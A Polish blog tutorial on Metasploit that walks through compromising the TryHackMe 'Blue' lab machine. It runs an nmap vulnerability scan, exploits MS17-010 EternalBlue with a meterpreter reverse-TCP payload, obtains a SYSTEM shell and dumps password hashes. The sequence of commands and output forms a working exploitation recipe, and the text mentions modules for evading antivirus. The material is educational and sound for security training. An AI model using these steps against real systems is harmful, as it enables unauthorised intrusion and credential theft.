Metasploit, czyli narzędzie służące do testów penetracyjnych i łamania zabezpieczeń systemów teleinformatycznych, jest jednym z najbardziej znanych otwarto źródłowych projektów w świecie bezpieczeństwa. W tym artykule przyjrzymy się jak poruszać się po jego interfejsie oraz korzystać z jego głównych funkcjonalności.
Pierwsze uruchomienie
.:okOOOkdc' 'cdkOOOko:.
.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.
:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
oOOOOOOOO.MMMM.oOOOOoOOOOl.MMMM,OOOOOOOOo
dOOOOOOOO.MMMMMM.cOOOOOc.MMMMMM,OOOOOOOOx
lOOOOOOOO.MMMMMMMMM;d;MMMMMMMMM,OOOOOOOOl
.OOOOOOOO.MMM.;MMMMMMMMMMM;MMMM,OOOOOOOO.
cOOOOOOO.MMM.OOc.MMMMM'oOO.MMM,OOOOOOOc
oOOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOOo
lOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOl
;OOOO'MMM.OOOO.MMM:OOOO.MMM;OOOO;
.dOOo'WM.OOOOocccxOOOO.MX'xOOd.
,kOl'M.OOOOOOOOOOOOO.M'dOk,
:kk;.OOOOOOOOOOOOO.;Ok:
;kOOOOOOOOOOOOOOOk:
,xOOOOOOOOOOOx,
.lOOOOOOOl.
,dOd,
.
=[ metasploit v6.1.4-dev ]
+ -- --=[ 2162 exploits - 1147 auxiliary - 367 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 8 evasion ]
Metasploit tip: Display the Framework log using the
log command, learn more with help log
msf6 >
Przy pierwszym uruchomieniu dostaniemy informację o dostępnej ilości exploitów, auxiliary oraz innych skryptów. Czym tak właśniwie one są?
- exploits – są to moduły wykorzystujące payload. Przy pracy z msf będziemy ich używać najczęściej,
- auxiliary – moduł uwzględniający wszystkie dostępne skanery, fuzzery, sniffery itd.,
- post – moduł służący do post exploitacji maszyny,
- payloads – skrypty wykorzystywane do interakcji ze zhackowanym systemem. Istnieją trzy rodzaje payloadów – singles, staged i stages. Różnią się one między sobą poziomem zaawansowania,
- encoders – w przypadku testów penetracyjnych nasza próba ataków może zostać wykryta poprzez oprogramowanie zabezpieczające. Może to prowadzić do zmarnowania przez atakującego jego czasu. Aby tego uniknąć, wykorzystywane są kodery (encoders). Ich zadaniem jest ukrywanie exploita w taki sposób, aby nie został ib wykryty,
- nops – są to instrukcje No Operation, które po prostu przesuwają wykonanie programu do następnego adresu pamięci. Używamy nops, aby osiągnąć pożądane miejsce w adresach pamięci,
- evasion – moduł służący do tworzenia payloadów omijających oprogramowanie antywirusowe.
Metasploit w praktyce
Aby lepiej móc skupić się na wyjaśnieniu całego procesu pracy z metasploitem, wszystkie wykorzystywane polecenia w przykładzie znaleźć można na końcu artykułu w sekcji „cheatsheet”.
Maszyną, którą będziemy atakować to dostępna na stronie tryhackme maszyna blue. Zaczynamy od uruchomienia jej i przeskanowania wszystkich dostępnych portów, a następnie uruchamiamy skaner podatności. Do sprawdzenia portów moglibysmy użyć jednego z dostępnych modułów auxiliary, ale niewątpliwie najlepszym do tego narzędziem będzie nmap – nie ma co sobie komplikować niepotrzebnie życia. Jeśli jeszcze nie wiesz jak on działa, niedawno wstawiliśmy o nim obszerny artykuł.
┌──(bugspace㉿kali)-[~]
└─$ nmap --script vuln 10.10.160.42
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-23 15:15 EST
Nmap scan report for 10.10.160.42
Host is up (0.062s latency).
Not shown: 991 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
| rdp-vuln-ms12-020:
| VULNERABLE:
| MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability
| State: VULNERABLE
| IDs: CVE:CVE-2012-0152
| Risk factor: Medium CVSSv2: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)
| Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service.
|
| Disclosure date: 2012-03-13
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0152
| http://technet.microsoft.com/en-us/security/bulletin/ms12-020
|
| MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability
| State: VULNERABLE
| IDs: CVE:CVE-2012-0002
| Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
| Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system.
|
| Disclosure date: 2012-03-13
| References:
| http://technet.microsoft.com/en-us/security/bulletin/ms12-020
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0002
|_ssl-ccs-injection: No reply from server (TIMEOUT)
|_sslv2-drown:
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49158/tcp open unknown
49160/tcp open unknown
Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
Nmap done: 1 IP address (1 host up) scanned in 97.72 seconds
W ten sposób otrzymujemy informacje o potencjalnych podatnościach atakowanej maszyny. Spróbujmy zatem znaleźć w bazie metasploit jedną z nich.
msf6 > search ms17-010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce
Następnie użyjemy skanera pomocniczego (auxiliary) oraz wyświetlimy jego opcje aby sprawdzić, co dostaniemy w wynikach.
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > options
Module options (auxiliary/scanner/smb/smb_ms17_010):
Name Current Setting Required Description
---- --------------- -------- -----------
CHECK_ARCH true no Check for architecture on vulnerable hosts
CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE false no Check for named pipe on vulnerable hosts
NAMED_PIPES /usr/share/metasploit-framework/data/wordl yes List of named pipes to check
ists/named_pipes.txt
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/U
sing-Metasploit
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads (max one per host)
Jak widać, przed przystąpieniem do pracy należy podać zmienną RHOSTS – zróbmy to, a następnie uruchommy skaner.
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 10.10.160.42
rhosts => 10.10.160.42
msf6 auxiliary(scanner/smb/smb_ms17_010) > exploit
[+] 10.10.160.42:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.160.42:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Metasploit potwierdził, że host jest podatny na exploit ms17-010 EternalBlue. Następnym, co będziemy próbowali osiągnąć, to uruchomienie docelowego exploita w celu skompromitowania maszyny. Przed tym ponownie musimy wskazać atakowny RHOST.
msf6 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
mmsf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.160.42
RHOSTS => 10.10.160.42
Dodatkowo, jeśli korzystamy z VPNa, będziemy musieli ustawić zmienną LHOST.
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.9.6.223
LHOST => 10.9.6.223
Teraz pozostaje nam uruchomić exploit poleceniem run
lub exploit
.
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.9.6.223:4444
[*] 10.10.21.28:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.21.28:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.21.28:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.21.28:445 - The target is vulnerable.
[*] 10.10.21.28:445 - Connecting to target for exploitation.
[+] 10.10.21.28:445 - Connection established for exploitation.
[+] 10.10.21.28:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.21.28:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.21.28:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.21.28:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.21.28:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.21.28:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.21.28:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.21.28:445 - Sending all but last fragment of exploit packet
[*] 10.10.21.28:445 - Starting non-paged pool grooming
[+] 10.10.21.28:445 - Sending SMBv2 buffers
[+] 10.10.21.28:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.21.28:445 - Sending final SMBv2 buffers.
[*] 10.10.21.28:445 - Sending last fragment of exploit packet!
[*] 10.10.21.28:445 - Receiving response from exploit packet
[+] 10.10.21.28:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.21.28:445 - Sending egg to corrupted connection.
[*] 10.10.21.28:445 - Triggering free of corrupted buffer.
[*] Sending stage (200262 bytes) to 10.10.21.28
[*] Meterpreter session 9 opened (10.9.6.223:4444 -> 10.10.21.28:49169) at 2021-11-23 18:56:55 -0500
[+] 10.10.21.28:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.21.28:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.21.28:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter >
Jak widać, domyślnie jesteśmy w powłoce meterpreter. Czym on jest? Jest to jeden z payloadów ataku metasploita, dzięki któremu docelowo możemy eksplorować maszynę bez pozostawiania po sobie śladów. Spróbujmy zatem zmienić powłokę z meterpretera na shella. Najpierw należy wejść ponownie do metasploita poleceniem background
– nie zabija to aktywej sesji. Ich pełną listę można podejrzeć polceniem sessions
.
meterpreter > background
[*] Backgrounding session 9...
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
9 meterpreter x64/windows NT AUTHORITY\SYSTEM @ JON-PC 10.9.6.223:4444 -> 10.10.21.28:49169 (10.10.21.28)
Aby użyć shella zamiast meterpretera, możemy użyć jednego ze skryptów modułu post – shell_to_meterpreter.
msf6 exploit(windows/smb/ms17_010_eternalblue) > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > show options
Module options (post/multi/manage/shell_to_meterpreter):
Name Current Setting Required Description
---- --------------- -------- -----------
HANDLER true yes Start an exploit/multi/handler to receive the connection
LHOST no IP of host that will receive the connection from the payload (Will try to auto detect).
LPORT 4433 yes Port for payload to connect to.
SESSION yes The session to run this module on.
Do prawidłowego działaniu skryptu potrzebne jest uzupełnienie zmiennej SESSION. Z poprzedniego polecenia wiemy, że id sesji, która nas interesuje, jest równa 9.
msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 9
SESSION => 9
Pozostało uruchomić moduł. Możemy też, zamiast użyć modułu post, wpisać w meterpreterze po prostu polecenie shell
.
meterpreter > shell
Process 2064 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
Widzimy, że eskalowaliśmy do autorytetu NT, czyli konta systemu lokalnego. Daje nam to nieograniczony dostęp do wszystkich lokalnych zasobów systemowych.
Kolejnym wyzwaniem jest wyszukanie non-defaultowego użytkownika i zcrackowanie jego hasła. Do wypisania wszystkich użytkowników z ich hasłami, uzyjemy polecenia hashdump
.
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
Teraz pozostaje złamać hasło za pomocą np. narzędzia John the ripper oraz odnaleźć ukryte flagi w plikach systemowych – nie będziemy przechodzić przez to krok po kroku, ponieważ nie taki jest zamysł obecnego artykułu.
Cheatsheet
- search <regex> – szukanie modułu po wskazanym regexie,
- use exploit/<exploitPath> – wskazanie exploita, który będziemy chcieli używać,
- set <payload> – ustawianie payloadu,
- options – wyświetlenie opcji dla obecnie używanego modułu,
- set <option> <value> – ustawianie wartości dla wybranej opcji,
- exploit / run – uruchamianie wybranego wcześniej exploita / modułu.
Źródła
https://www.metasploit.com/
https://www.offensive-security.com/metasploit-unleashed/
https://www.tutorialspoint.com/metasploit/metasploit_payload.html
https://github.com/security-cheatsheet/metasploit-cheat-sheet
https://tryhackme.com/room/blue
https://github.com/openwall/john